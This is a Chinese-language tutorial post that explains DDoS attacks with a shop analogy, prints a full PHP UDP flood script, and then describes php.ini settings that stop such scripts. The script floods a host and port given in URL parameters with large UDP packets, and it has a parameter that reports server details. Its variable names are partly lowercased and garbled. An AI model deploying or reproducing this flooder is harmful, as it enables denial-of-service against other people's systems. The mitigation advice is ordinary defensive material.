首先了解一下ddos:分布式拒绝服务(ddos:distributed denial of service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动ddos攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将ddos主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
从一个比方来深入理解什么是ddos。
一群恶霸试图让对面那家有着竞争关系的商铺无法正常营业,他们会采取什么手段呢?(只为举例,切勿模仿)恶霸们扮作普通客户一直拥挤在对手的商铺,赖着不走,真正的购物者却无法进入;或者总是和营业员有一搭没一搭的东扯西扯,让工作人员不能正常服务客户;也可以为商铺的经营者提供虚假信息,商铺的上上下下忙成一团之后却发现都是一场空,最终跑了真正的大客户,损失惨重。此外恶霸们完成这些坏事有时凭单干难以完成,需要叫上很多人一起。嗯,网络安全领域中dos和ddos攻击就遵循着这些思路。
这篇文章主要介绍了php的ddos攻击解决方法,实例分析了ddos攻击程序的原理与针对性的解决方法,是非常实用的技巧,需要的朋友可以参考下
先看源码,代码如下:
<?php
set_time_limit(999999);
$host = $_get['host'];
$port = $_get['port'];
$exec_time = $_get['time'];
$sendlen = 65535;
$packets = 0;
ignore_user_abort(true);
if (strlen($host)==0 or strlen($port)==0 or strlen($exec_time)==0){
if (strlen($_get['rat'])<>0){
echo $_get['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".php_uname()."|".$_server['server_software'].$_get['rat'];
exit;
}
echo "parameters can not be empty!";
exit;
}
for($i=0;$i<$sendlen;$i++){
$out .= "a";
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "send host:$host:$port<br><br>";
echo "send flow:$packets * ($sendlen/1024=" . round($sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$sendlen/1024/1024, 2) . " mb<br><br>";
echo "send rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$sendlen/1024/1024, 2) . " mb/s";
?>
关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
方法很简单,向目标主机发送udp包,在加上定义无限死循环,就会形成较大的压力.
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、cpu等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,ddos嘛,既然是用fsockopen请求外部,那就不让他请求.
php.ini里设置,代码如下:
allow_url_fopen = off
如果这样他还是能发包,代码如下:
extension=php_sockets.dll
改成
;extension=php_sockets.dll
重启apache、iis、nginx,这样就可以防止php ddos发包了.
另外有网友说,让脚本不允许设置为不超时很简单:
1. 把set_time_limit函数禁用
2. 启用php的安全模式(safe_mode=on).
禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始ddos.
以上就是php针对ddos攻击的解决方法的详细内容。